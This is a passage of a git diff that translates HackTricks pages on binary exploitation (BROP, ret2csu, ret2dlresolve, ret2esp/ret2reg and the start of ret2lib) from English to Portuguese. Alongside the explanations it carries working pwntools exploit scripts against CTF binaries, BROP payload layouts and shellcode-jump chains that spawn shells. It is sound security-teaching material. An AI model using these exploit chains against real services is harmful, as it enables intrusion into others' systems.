-However, we know **where the PLT table is** and it's possible to find write based on its **behaviour**. And we can create **several connections** with the server an d use a **high FD** hoping that it matches some of our connections.
+No entanto, sabemos **onde está a tabela PLT** e é possível encontrar write com base em seu **comportamento**. E podemos criar **várias conexões** com o servidor e usar um **FD alto** esperando que ele corresponda a algumas de nossas conexões.
 
-Behaviour signatures to find those functions:
+Assinaturas de comportamento para encontrar essas funções:
 
-- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then puts was found
-- `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then dprintf was found
-- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then write was found
+- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Se houver dados impressos, então puts foi encontrado
+- `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Se houver dados impressos, então dprintf foi encontrado
+- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Se houver dados impressos, então write foi encontrado
 
-## Automatic Exploitation
+## Exploração Automática
 
 - [https://github.com/Hakumarachi/Bropper](https://github.com/Hakumarachi/Bropper)
 
-## References
+## Referências
 
-- Original paper: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
+- Artigo original: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
 - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop)
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md b/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md
index 73cbb4e58..587635cc6 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/ret2csu.md
@@ -4,18 +4,17 @@
 
 ##
 
-## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Basic Information
+## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Informações Básicas
 
-**ret2csu** is a hacking technique used when you're trying to take control of a program but can't find the **gadgets** you usually use to manipulate the program's behavior.
+**ret2csu** é uma técnica de hacking usada quando você está tentando assumir o controle de um programa, mas não consegue encontrar os **gadgets** que normalmente usa para manipular o comportamento do programa.
 
-When a program uses certain libraries (like libc), it has some built-in functions for managing how different pieces of the program talk to each other. Among these functions are some hidden gems that can act as our missing gadgets, especially one called `__libc_csu_init`.
+Quando um programa usa certas bibliotecas (como libc), ele possui algumas funções integradas para gerenciar como diferentes partes do programa se comunicam. Entre essas funções, existem algumas joias ocultas que podem agir como nossos gadgets ausentes, especialmente uma chamada `__libc_csu_init`.
 
-### The Magic Gadgets in \_\_libc_csu_init
+### Os Gadgets Mágicos em \_\_libc_csu_init
 
-In **`__libc_csu_init`**, there are two sequences of instructions (gadgets) to highlight:
-
-1. The first sequence lets us set up values in several registers (rbx, rbp, r12, r13, r14, r15). These are like slots where we can store numbers or addresses we want to use later.
+Em **`__libc_csu_init`**, há duas sequências de instruções (gadgets) a serem destacadas:
 
+1. A primeira sequência nos permite configurar valores em vários registradores (rbx, rbp, r12, r13, r14, r15). Estes são como slots onde podemos armazenar números ou endereços que queremos usar mais tarde.
 ```armasm
 pop rbx;
 pop rbp;
@@ -25,22 +24,18 @@ pop r14;
 pop r15;
 ret;
 ```
+Este gadget nos permite controlar esses registradores ao retirar valores da pilha para eles.
 
-This gadget allows us to control these registers by popping values off the stack into them.
-
-2. The second sequence uses the values we set up to do a couple of things:
-   - **Move specific values into other registers**, making them ready for us to use as parameters in functions.
-   - **Perform a call to a location** determined by adding together the values in r15 and rbx, then multiplying rbx by 8.
-
+2. A segunda sequência usa os valores que configuramos para fazer algumas coisas:
+- **Mover valores específicos para outros registradores**, tornando-os prontos para usarmos como parâmetros em funções.
+- **Executar uma chamada para um local** determinado pela soma dos valores em r15 e rbx, e então multiplicando rbx por 8.
 ```armasm
 mov rdx, r15;
 mov rsi, r14;
 mov edi, r13d;
 call qword [r12 + rbx*8];
 ```
-
-3. Maybe you don't know any address to write there and you **need a `ret` instruction**. Note that the second gadget will also **end in a `ret`**, but you will need to meet some **conditions** in order to reach it:
-
+3. Talvez você não conheça nenhum endereço para escrever lá e você **precisa de uma instrução `ret`**. Note que o segundo gadget também **terminará em um `ret`**, mas você precisará atender a algumas **condições** para alcançá-lo:
 ```armasm
 mov rdx, r15;
 mov rsi, r14;
@@ -52,50 +47,46 @@ jnz 
 ...
 ret
 ```
+As condições serão:
 
-The conditions will be:
-
-- `[r12 + rbx*8]` must be pointing to an address storing a callable function (if no idea and no pie, you can just use `_init` func):
-  - If \_init is at `0x400560`, use GEF to search for a pointer in memory to it and make `[r12 + rbx*8]` be the address with the pointer to \_init:
-
+- `[r12 + rbx*8]` deve apontar para um endereço que armazena uma função chamável (se não houver ideia e sem pie, você pode apenas usar a função `_init`):
+- Se \_init estiver em `0x400560`, use o GEF para procurar um ponteiro na memória para ele e faça com que `[r12 + rbx*8]` seja o endereço com o ponteiro para \_init:
 ```bash
 # Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
 gef➤  search-pattern 0x400560
 [+] Searching '\x60\x05\x40' in memory
 [+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
-  0x400e38 - 0x400e44  →   "\x60\x05\x40[...]"
+0x400e38 - 0x400e44  →   "\x60\x05\x40[...]"
 [+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
-  0x600e38 - 0x600e44  →   "\x60\x05\x40[...]"
+0x600e38 - 0x600e44  →   "\x60\x05\x40[...]"
 ```
+- `rbp` e `rbx` devem ter o mesmo valor para evitar o salto
+- Existem alguns pops omitidos que você precisa levar em conta
 
-- `rbp` and `rbx` must have the same value to avoid the jump
-- There are some omitted pops you need to take into account
+## RDI e RSI
 
-## RDI and RSI
-
-Another way to control **`rdi`** and **`rsi`** from the ret2csu gadget is by accessing it specific offsets:
+Outra maneira de controlar **`rdi`** e **`rsi`** a partir do gadget ret2csu é acessando offsets específicos:
 
 
https://www.scs.stanford.edu/brop/bittau-brop.pdf

 
-Check this page for more info:
+Verifique esta página para mais informações:
 
 {{#ref}}
 brop-blind-return-oriented-programming.md
 {{#endref}}
 
-## Example
+## Exemplo
 
-### Using the call
+### Usando a chamada
 
-Imagine you want to make a syscall or call a function like `write()` but need specific values in the `rdx` and `rsi` registers as parameters. Normally, you'd look for gadgets that set these registers directly, but you can't find any.
+Imagine que você deseja fazer uma syscall ou chamar uma função como `write()`, mas precisa de valores específicos nos registradores `rdx` e `rsi` como parâmetros. Normalmente, você procuraria gadgets que definem esses registradores diretamente, mas não consegue encontrar nenhum.
 
-Here's where **ret2csu** comes into play:
+É aqui que **ret2csu** entra em cena:
 
-1. **Set Up the Registers**: Use the first magic gadget to pop values off the stack and into rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), and r15.
-2. **Use the Second Gadget**: With those registers set, you use the second gadget. This lets you move your chosen values into `rdx` and `rsi` (from r14 and r13, respectively), readying parameters for a function call. Moreover, by controlling `r15` and `rbx`, you can make the program call a function located at the address you calculate and place into `[r15 + rbx*8]`.
-
-You have an [**example using this technique and explaining it here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), and this is the final exploit it used:
+1. **Configurar os Registradores**: Use o primeiro gadget mágico para retirar valores da pilha e colocá-los em rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) e r15.
+2. **Usar o Segundo Gadget**: Com esses registradores configurados, você usa o segundo gadget. Isso permite que você mova os valores escolhidos para `rdx` e `rsi` (de r14 e r13, respectivamente), preparando os parâmetros para uma chamada de função. Além disso, ao controlar `r15` e `rbx`, você pode fazer o programa chamar uma função localizada no endereço que você calcula e coloca em `[r15 + rbx*8]`.
 
+Você tem um [**exemplo usando esta técnica e explicando aqui**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), e este é o exploit final que usou:
 ```python
 from pwn import *
 
@@ -119,14 +110,12 @@ p.sendlineafter('me\n', rop.chain())
 p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
 print(p.recvline())                        # should receive "Awesome work!"
 ```
-
 > [!WARNING]
-> Note that the previous exploit isn't meant to do a **`RCE`**, it's meant to just call a function called **`win`** (taking the address of `win` from stdin calling gets in the ROP chain and storing it in r15) with a third argument with the value `0xdeadbeefcafed00d`.
+> Note que o exploit anterior não é destinado a fazer um **`RCE`**, ele é destinado apenas a chamar uma função chamada **`win`** (pegando o endereço de `win` da entrada padrão chamando gets na cadeia ROP e armazenando-o em r15) com um terceiro argumento com o valor `0xdeadbeefcafed00d`.
 
-### Bypassing the call and reaching ret
-
-The following exploit was extracted [**from this page**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) where the **ret2csu** is used but instead of using the call, it's **bypassing the comparisons and reaching the `ret`** after the call:
+### Contornando a chamada e alcançando ret
 
+O seguinte exploit foi extraído [**desta página**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) onde o **ret2csu** é usado, mas em vez de usar a chamada, ele está **contornando as comparações e alcançando o `ret`** após a chamada:
 ```python
 # Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
 # This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
@@ -176,9 +165,8 @@ payload += ret2win
 target.sendline(payload)
 target.interactive()
 ```
+### Por Que Não Usar Apenas a libc Diretamente?
 
-### Why Not Just Use libc Directly?
-
-Usually these cases are also vulnerable to [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), but sometimes you need to control more parameters than are easily controlled with the gadgets you find directly in libc. For example, the `write()` function requires three parameters, and **finding gadgets to set all these directly might not be possible**.
+Geralmente, esses casos também são vulneráveis a [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), mas às vezes você precisa controlar mais parâmetros do que os que podem ser facilmente controlados com os gadgets que você encontra diretamente na libc. Por exemplo, a função `write()` requer três parâmetros, e **encontrar gadgets para definir todos esses diretamente pode não ser possível**.
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md
index 1fc2ea86a..6ced399ac 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md
@@ -2,38 +2,37 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Basic Information
+## Informações Básicas
 
-As explained in the page about [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) and [**Relro**](../common-binary-protections-and-bypasses/relro.md), binaries without Full Relro will resolve symbols (like addresses to external libraries) the first time they are used. This resolution occurs calling the function **`_dl_runtime_resolve`**.
+Como explicado na página sobre [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) e [**Relro**](../common-binary-protections-and-bypasses/relro.md), binários sem Full Relro resolverão símbolos (como endereços para bibliotecas externas) na primeira vez que forem usados. Essa resolução ocorre chamando a função **`_dl_runtime_resolve`**.
 
-The **`_dl_runtime_resolve`** function takes from the stack references to some structures it needs in order to **resolve** the specified symbol.
+A função **`_dl_runtime_resolve`** pega do stack referências a algumas estruturas que precisa para **resolver** o símbolo especificado.
 
-Therefore, it's possible to **fake all these structures** to make the dynamic linked resolving the requested symbol (like **`system`** function) and call it with a configured parameter (e.g. **`system('/bin/sh')`**).
+Portanto, é possível **falsificar todas essas estruturas** para fazer a resolução dinâmica do símbolo solicitado (como a função **`system`**) e chamá-la com um parâmetro configurado (por exemplo, **`system('/bin/sh')`**).
 
-Usually, all these structures are faked by making an **initial ROP chain that calls `read`** over a writable memory, then the **structures** and the string **`'/bin/sh'`** are passed so they are stored by read in a known location, and then the ROP chain continues by calling **`_dl_runtime_resolve`** , having it **resolve the address of `system`** in the fake structures and **calling this address** with the address to `$'/bin/sh'`.
+Geralmente, todas essas estruturas são falsificadas fazendo uma **cadeia ROP inicial que chama `read`** sobre uma memória gravável, então as **estruturas** e a string **`'/bin/sh'`** são passadas para que sejam armazenadas pela leitura em um local conhecido, e então a cadeia ROP continua chamando **`_dl_runtime_resolve`**, fazendo com que ela **resolva o endereço de `system`** nas estruturas falsas e **chame esse endereço** com o endereço para `$'/bin/sh'`.
 
 > [!TIP]
-> This technique is useful specially if there aren't syscall gadgets (to use techniques such as [**ret2syscall**](rop-syscall-execv/) or [SROP](srop-sigreturn-oriented-programming/)) and there are't ways to leak libc addresses.
+> Esta técnica é útil especialmente se não houver gadgets de syscall (para usar técnicas como [**ret2syscall**](rop-syscall-execv/) ou [SROP](srop-sigreturn-oriented-programming/)) e não houver maneiras de vazar endereços da libc.
 
-Chek this video for a nice explanation about this technique in the second half of the video:
+Confira este vídeo para uma boa explicação sobre esta técnica na segunda metade do vídeo:
 
 {% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
 
-Or check these pages for a step-by-step explanation:
+Ou confira estas páginas para uma explicação passo a passo:
 
 - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works)
 - [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)
 
-## Attack Summary
+## Resumo do Ataque
 
-1. Write fake estructures in some place
-2. Set the first argument of system (`$rdi = &'/bin/sh'`)
-3. Set on the stack the addresses to the structures to call **`_dl_runtime_resolve`**
-4. **Call** `_dl_runtime_resolve`
-5. **`system`** will be resolved and called with `'/bin/sh'` as argument
-
-From the [**pwntools documentation**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), this is how a **`ret2dlresolve`** attack look like:
+1. Escrever estruturas falsas em algum lugar
+2. Definir o primeiro argumento do system (`$rdi = &'/bin/sh'`)
+3. Definir na pilha os endereços das estruturas para chamar **`_dl_runtime_resolve`**
+4. **Chamar** `_dl_runtime_resolve`
+5. **`system`** será resolvido e chamado com `'/bin/sh'` como argumento
 
+Da [**documentação do pwntools**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), é assim que um ataque **`ret2dlresolve`** se parece:
 ```python
 context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
 >>> rop = ROP(elf)
@@ -53,13 +52,11 @@ context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
 0x0040:         0x4003e0 [plt_init] system
 0x0048:          0x15670 [dlresolve index]
 ```
-
-## Example
+## Exemplo
 
 ### Pure Pwntools
 
-You can find an [**example of this technique here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **containing a very good explanation of the final ROP chain**, but here is the final exploit used:
-
+Você pode encontrar um [**exemplo desta técnica aqui**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **contendo uma explicação muito boa da cadeia ROP final**, mas aqui está o exploit final utilizado:
 ```python
 from pwn import *
 
@@ -81,9 +78,7 @@ p.sendline(dlresolve.payload)    # now the read is called and we pass all the re
 
 p.interactive()
 ```
-
-### Raw
-
+### Cru
 ```python
 # Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html
 # This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack
@@ -186,12 +181,11 @@ target.send(paylaod2)
 # Enjoy the shell!
 target.interactive()
 ```
-
-## Other Examples & References
+## Outros Exemplos & Referências
 
 - [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
 - [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
 - [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html)
-  - 32bit, no relro, no canary, nx, no pie, basic small buffer overflow and return. To exploit it the bof is used to call `read` again with a `.bss` section and a bigger size, to store in there the `dlresolve` fake tables to load `system`, return to main and re-abuse the initial bof to call dlresolve and then `system('/bin/sh')`.
+- 32bit, sem relro, sem canary, nx, sem pie, overflow básico de buffer pequeno e retorno. Para explorá-lo, o bof é usado para chamar `read` novamente com uma seção `.bss` e um tamanho maior, para armazenar ali as tabelas falsas de `dlresolve` para carregar `system`, retornar ao main e reabusar o bof inicial para chamar dlresolve e então `system('/bin/sh')`.
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md b/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md
index 868f6ffa5..c6f75e972 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md
@@ -4,27 +4,24 @@
 
 ## **Ret2esp**
 
-**Because the ESP (Stack Pointer) always points to the top of the stack**, this technique involves replacing the EIP (Instruction Pointer) with the address of a **`jmp esp`** or **`call esp`** instruction. By doing this, the shellcode is placed right after the overwritten EIP. When the `ret` instruction executes, ESP points to the next address, precisely where the shellcode is stored.
+**Porque o ESP (Ponteiro de Pilha) sempre aponta para o topo da pilha**, esta técnica envolve substituir o EIP (Ponteiro de Instrução) pelo endereço de uma instrução **`jmp esp`** ou **`call esp`**. Ao fazer isso, o shellcode é colocado logo após o EIP sobrescrito. Quando a instrução `ret` é executada, o ESP aponta para o próximo endereço, precisamente onde o shellcode está armazenado.
 
-If **Address Space Layout Randomization (ASLR)** is not enabled in Windows or Linux, it's possible to use `jmp esp` or `call esp` instructions found in shared libraries. However, with [**ASLR**](../common-binary-protections-and-bypasses/aslr/) active, one might need to look within the vulnerable program itself for these instructions (and you might need to defeat [**PIE**](../common-binary-protections-and-bypasses/pie/)).
+Se **Randomização de Layout de Espaço de Endereçamento (ASLR)** não estiver habilitada no Windows ou Linux, é possível usar instruções `jmp esp` ou `call esp` encontradas em bibliotecas compartilhadas. No entanto, com [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ativo, pode ser necessário procurar dentro do próprio programa vulnerável por essas instruções (e pode ser necessário derrotar [**PIE**](../common-binary-protections-and-bypasses/pie/)).
 
-Moreover, being able to place the shellcode **after the EIP corruption**, rather than in the middle of the stack, ensures that any `push` or `pop` instructions executed during the function's operation don't interfere with the shellcode. This interference could happen if the shellcode were placed in the middle of the function's stack.
+Além disso, ser capaz de colocar o shellcode **após a corrupção do EIP**, em vez de no meio da pilha, garante que quaisquer instruções `push` ou `pop` executadas durante a operação da função não interfiram com o shellcode. Essa interferência poderia ocorrer se o shellcode fosse colocado no meio da pilha da função.
 
-### Lacking space
-
-If you are lacking space to write after overwriting RIP (maybe just a few bytes), write an initial **`jmp`** shellcode like:
+### Falta de espaço
 
+Se você estiver sem espaço para escrever após sobrescrever o RIP (talvez apenas alguns bytes), escreva um shellcode inicial **`jmp`** como:
 ```armasm
 sub rsp, 0x30
 jmp rsp
 ```
+E escreva o shellcode cedo na pilha.
 
-And write the shellcode early in the stack.
-
-### Example
-
-You can find an example of this technique in [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) with a final exploit like:
+### Exemplo
 
+Você pode encontrar um exemplo dessa técnica em [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) com um exploit final como:
 ```python
 from pwn import *
 
@@ -36,17 +33,15 @@ jmp_rsp = next(elf.search(asm('jmp rsp')))
 payload = b'A' * 120
 payload += p64(jmp_rsp)
 payload += asm('''
-    sub rsp, 10;
-    jmp rsp;
+sub rsp, 10;
+jmp rsp;
 ''')
 
 pause()
 p.sendlineafter('RSP!\n', payload)
 p.interactive()
 ```
-
-You can see another example of this technique in [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html). There is a buffer overflow without NX enabled, it's used a gadget to r**educe the address of `$esp`** and then a `jmp esp;` to jump to the shellcode:
-
+Você pode ver outro exemplo dessa técnica em [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html). Há um buffer overflow sem NX habilitado, é usado um gadget para **reduzir o endereço de `$esp`** e então um `jmp esp;` para pular para o shellcode:
 ```python
 # From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
 from pwn import *
@@ -81,47 +76,41 @@ target.sendline(payload)
 # Drop to an interactive shell
 target.interactive()
 ```
-
 ## Ret2reg
 
-Similarly, if we know a function returns the address where the shellcode is stored, we can leverage **`call eax`** or **`jmp eax`** instructions (known as **ret2eax** technique), offering another method to execute our shellcode. Just like eax, **any other register** containing an interesting address could be used (**ret2reg**).
+Da mesma forma, se soubermos que uma função retorna o endereço onde o shellcode está armazenado, podemos aproveitar as instruções **`call eax`** ou **`jmp eax`** (conhecidas como técnica **ret2eax**), oferecendo outro método para executar nosso shellcode. Assim como eax, **qualquer outro registrador** contendo um endereço interessante pode ser usado (**ret2reg**).
 
-### Example
+### Exemplo
 
-You can find some examples here: 
+Você pode encontrar alguns exemplos aqui: 
 
 - [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg)
 - [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c)
-  - **`strcpy`** will be store in **`eax`** the address of the buffer where the shellcode was stored and **`eax`** isn't being overwritten, so it's possible use a `ret2eax`.
+- **`strcpy`** irá armazenar em **`eax`** o endereço do buffer onde o shellcode foi armazenado e **`eax`** não está sendo sobrescrito, então é possível usar um `ret2eax`.
 
 ## ARM64
 
 ### Ret2sp
 
-In ARM64 there **aren't** instructions allowing to **jump to the SP registry**. It might be possible to find a gadget that **moves sp to a registry and then jumps to that registry**, but in the libc of my kali I couldn't find any gadget like that:
-
+No ARM64 não **há** instruções que permitem **pular para o registrador SP**. Pode ser possível encontrar um gadget que **move sp para um registrador e então pula para esse registrador**, mas na libc da minha kali não consegui encontrar nenhum gadget assim:
 ```bash
 for i in `seq 1 30`; do
-    ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
+ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
 done
 ```
-
-The only ones I discovered would change the value of the registry where sp was copied before jumping to it (so it would become useless):
+Os únicos que descobri mudariam o valor do registrador onde sp foi copiado antes de pular para ele (então se tornaria inútil):
 
 

 
 ### Ret2reg
 
-If a registry has an interesting address it's possible to jump to it just finding the adequate instruction. You could use something like:
-
+Se um registrador tiver um endereço interessante, é possível pular para ele apenas encontrando a instrução adequada. Você poderia usar algo como:
 ```bash
 ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
 ```
+Em ARM64, é **`x0`** que armazena o valor de retorno de uma função, então pode ser que x0 armazene o endereço de um buffer controlado pelo usuário com um shellcode para executar.
 
-In ARM64, it's **`x0`** who stores the return value of a function, so it could be that x0 stores the address of a buffer controlled by the user with a shellcode to execute.
-
-Example code:
-
+Exemplo de código:
 ```c
 // clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack
 
@@ -129,34 +118,32 @@ Example code:
 #include 
 
 void do_stuff(int do_arg){
-    if (do_arg == 1)
-        __asm__("br x0");
-    return;
+if (do_arg == 1)
+__asm__("br x0");
+return;
 }
 
 char* vulnerable_function() {
-    char buffer[64];
-    fgets(buffer, sizeof(buffer)*3, stdin);
-    return buffer;
+char buffer[64];
+fgets(buffer, sizeof(buffer)*3, stdin);
+return buffer;
 }
 
 int main(int argc, char **argv) {
-    char* b = vulnerable_function();
-    do_stuff(2)
-    return 0;
+char* b = vulnerable_function();
+do_stuff(2)
+return 0;
 }
 ```
-
-Checking the disassembly of the function it's possible to see that the **address to the buffer** (vulnerable to bof and **controlled by the user**) is **stored in `x0`** before returning from the buffer overflow:
+Verificando a desassemblagem da função, é possível ver que o **endereço do buffer** (vulnerável a bof e **controlado pelo usuário**) é **armazenado em `x0`** antes de retornar do buffer overflow:
 
 

 
-It's also possible to find the gadget **`br x0`** in the **`do_stuff`** function:
+Também é possível encontrar o gadget **`br x0`** na função **`do_stuff`**:
 
 

 
-We will use that gadget to jump to it because the binary is compile **WITHOUT PIE.** Using a pattern it's possible to see that the **offset of the buffer overflow is 80**, so the exploit would be:
-
+Usaremos esse gadget para pular para ele porque o binário é compilado **SEM PIE.** Usando um padrão, é possível ver que o **offset do buffer overflow é 80**, então o exploit seria:
 ```python
 from pwn import *
 
@@ -171,17 +158,16 @@ payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0
 p.sendline(payload)
 p.interactive()
 ```
-
 > [!WARNING]
-> If instead of `fgets` it was used something like **`read`**, it would have been possible to bypass PIE also by **only overwriting the last 2 bytes of the return address** to return to the `br x0;` instruction without needing to know the complete address.\
-> With `fgets` it doesn't work because it **adds a null (0x00) byte at the end**.
+> Se em vez de `fgets` fosse usado algo como **`read`**, teria sido possível contornar o PIE também **apenas sobrescrevendo os últimos 2 bytes do endereço de retorno** para retornar à instrução `br x0;` sem precisar saber o endereço completo.\
+> Com `fgets` isso não funciona porque **adiciona um byte nulo (0x00) no final**.
 
-## Protections
+## Proteções
 
-- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): If the stack isn't executable this won't help as we need to place the shellcode in the stack and jump to execute it.
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Those can make harder to find a instruction to jump to esp or any other register.
+- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Se a pilha não for executável, isso não ajudará, pois precisamos colocar o shellcode na pilha e pular para executá-lo.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Esses podem dificultar a localização de uma instrução para pular para esp ou qualquer outro registrador.
 
-## References
+## Referências
 
 - [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode)
 - [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp)
diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md
index c213407d3..a81c42be9 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/README.md
@@ -2,103 +2,90 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## **Basic Information**
+## **Informações Básicas**
 
-The essence of **Ret2Libc** is to redirect the execution flow of a vulnerable program to a function within a shared library (e.g., **system**, **execve**, **strcpy**) instead of executing attacker-supplied shellcode on the stack. The attacker crafts a payload that modifies the return address on the stack to point to the desired library function, while also arranging for any necessary arguments to be correctly set up according to the calling convention.
+A essência do **Ret2Libc** é redirecionar o fluxo de execução de um programa vulnerável para uma função dentro de uma biblioteca compartilhada (por exemplo, **system**, **execve**, **strcpy**) em vez de executar shellcode fornecido pelo atacante na pilha. O atacante cria um payload que modifica o endereço de retorno na pilha para apontar para a função da biblioteca desejada, enquanto também organiza para que quaisquer argumentos necessários sejam configurados corretamente de acordo com a convenção de chamada.
 
-### **Example Steps (simplified)**
